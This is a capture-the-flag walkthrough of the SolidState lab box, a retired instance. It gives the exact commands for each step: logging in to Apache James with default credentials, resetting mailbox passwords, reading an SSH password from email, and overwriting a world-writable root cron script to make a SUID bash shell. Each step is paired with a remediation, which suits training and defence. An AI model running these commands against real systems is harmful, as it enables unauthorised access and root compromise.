SolidState
Summary
Target solidstate ($TARGET) was fully compromised through a chain of three misconfigurations. A port scan exposed Apache James Mail Server 2.3.2 running its remote administration console on port 4555 with its factory-default credentials (root/root) still active. I authenticated to that console, listed every internal mail account, and reset the POP3 password for user 'mindy' to a known value.
Reading mindy's mailbox revealed a plaintext provisioning email from an administrator that contained her SSH password. SSH access as mindy yielded the user flag. Post-login enumeration of /opt found a Python script writable by all users that a root-owned cron job executed on a regular schedule.
Replacing the script with a payload that copies /bin/bash with the SUID bit set, then waiting one cron cycle, produced a root shell and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for mindy>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 1
Service-version scan of all discovered ports; the James version in the POP3 banner and the presence of 4555 are the key findings.
$ nmap -sV -Pn -p 22,25,80,110,119,4555 $TARGETExact commands 2
Authenticate with root/root and enumerate all mail accounts on the James server.
$ python3 -c "
import socket, time
s = socket.create_connection(('$TARGET', 4555), 10)
print(s.recv(1024).decode(errors='ignore'))
for cmd in [b'root\r\n', b'root\r\n', b'listusers\r\n']:
s.sendall(cmd); time.sleep(0.6)
print(s.recv(4096).decode(errors='ignore'))
"Reset POP3 passwords for mindy and james to my own value '$PASSWORD2'.
$ python3 -c "
import socket, time
s = socket.create_connection(('$TARGET', 4555), 10)
s.recv(1024)
for cmd in [b'root\r\n', b'root\r\n', b'setpassword mindy $PASSWORD2\r\n', b'setpassword james $PASSWORD2\r\n', b'quit\r\n']:
s.sendall(cmd); time.sleep(0.6)
print(s.recv(4096).decode(errors='ignore'))
"FixReplace Apache James default administrator credentials and restrict the admin interface to localhostCritical
Exact commands 2
Retrieve message 1 from mindy's mailbox — the provisioning email containing her SSH password.
$ curl -s --url "pop3://$TARGET/1" -u "mindy:$PASSWORD2"Retrieve message 2 from mindy's mailbox for completeness.
$ curl -s --url "pop3://$TARGET/2" -u "mindy:$PASSWORD2"FixNever transmit credentials in plaintext email; enforce least-privilege mailbox accessHigh
Exact commands 2
Establish an interactive SSH session as mindy using the credentials recovered from her email.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null mindy@$TARGETNon-interactive retrieval of the user flag — placeholder value: <user.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null mindy@$TARGET 'cat /home/mindy/user.txt'Exact commands 4
List /opt with permissions and ownership to identify world-writable or oddly-owned files.
$ ls -la /opt/Read the current contents of the cron-executed script.
$ cat /opt/tmp.pyEnumerate every writable file under /opt to confirm scope of the misconfiguration.
$ find /opt -writable -ls 2>/dev/nullConfirm the root cron entry that invokes /opt/tmp.py and note its execution interval.
$ crontab -l; cat /etc/crontab; ls /etc/cron.*FixRemove world-writable permissions from all cron-executed scripts and audit scheduled tasksCritical
Exact commands 4
From mindy's SSH session — overwrite the cron script with the SUID-shell payload.
$ printf '#!/usr/bin/python\nimport os\nos.system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash")\n' > /opt/tmp.pyPoll every 5 seconds until the cron job fires and the SUID copy appears.
$ watch -n 5 ls -la /tmp/rootbash 2>/dev/nullLaunch the SUID bash copy; -p tells bash to honour the SUID effective UID rather than dropping it.
$ /tmp/rootbash -pRead the root flag from the elevated shell — placeholder value: <root.txt>.
$ cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) |
| 25/tcp | smtp recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.25 ((Debian)) |
| 110/tcp | pop3 recon-sweep-discovered |
| 119/tcp | unknown recon-sweep-discovered |
| 4555/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.